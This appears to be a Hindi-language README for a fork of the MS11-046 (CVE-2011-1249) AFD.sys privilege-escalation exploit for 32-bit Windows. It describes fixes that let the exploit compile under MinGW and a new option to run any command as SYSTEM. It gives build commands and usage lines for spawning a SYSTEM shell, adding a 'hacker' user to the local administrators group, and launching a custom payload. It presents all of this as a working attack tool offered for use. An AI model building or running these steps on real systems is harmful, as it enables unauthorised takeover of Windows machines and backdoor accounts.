
CVE-2011-1249 (MS11-046) AFD विशेषाधिकार वृद्धि — MinGW क्रॉस-कंपाइलेशन फिक्स + कस्टम कमांड समर्थन
CVE-2011-1249 / MS11-046 — Windows x86 के लिए AFD.sys विशेषाधिकार वृद्धि।
मूल शोषण Tomislav Paskalev (EDB-40564) द्वारा। यह फोर्क MinGW क्रॉस-कंपाइलेशन त्रुटियों को ठीक करता है और argv[1] के माध्यम से कस्टम कमांड निष्पादन जोड़ता है।
| # | परिवर्तन | कारण |
|---|---|---|
| 1 | FARPROC ZwQuerySystemInformation → typed function pointer (pZwQuerySystemInformation) | MinGW सख्त प्रकार जाँच शून्य-पैरामीटर FARPROC को तर्कों के साथ कॉल करने को अस्वीकार करती है — संकलन too many arguments to function त्रुटि के साथ विफल होता है |
| 2 | securityPatches[] arrays marked static | if/else ब्लॉक के अंदर घोषित ऐरे स्टैक-आवंटित होते हैं और स्कोप से बाहर चले जाते हैं; static के बिना pointers dangle करते हैं |
| 3 | Custom command via argv[1] | किसी भी कमांड को SYSTEM के रूप में चलाएँ, हार्डकोडेड cmd.exe के बजाय |
मूल को MinGW के साथ कंपाइल करने पर विफलता होती है:
ms11-046.c: error: too many arguments to function 'ZwQuerySystemInformation'; expected 0, have 4
FARPROC एक जेनेरिक फंक्शन पॉइंटर है जो शून्य पैरामीटर के साथ घोषित किया गया है। MinGW सख्त प्रकार जाँच लागू करता है और इसे तर्कों के साथ कॉल करने को अस्वीकार करता है। सही हस्ताक्षर के साथ एक टाइप्ड फंक्शन पॉइंटर ही समाधान है।
पूर्व-संकलित बाइनरी मौजूद हैं (जैसे SecWiki/windows-kernel-exploits) लेकिन वे कस्टम कमांड का समर्थन नहीं करते।
sudo apt install mingw-w64
i686-w64-mingw32-gcc ms11-046.c -o ms11-046.exe -lws2_32
ms11-046.exe # default: spawns cmd.exe as SYSTEM
ms11-046.exe "net user hacker Pass123! /add" # add a user as SYSTEM
ms11-046.exe "net localgroup administrators hacker /add" # add to local admins
ms11-046.exe "c:\windows\temp\shell.exe" # run a custom payload as SYSTEM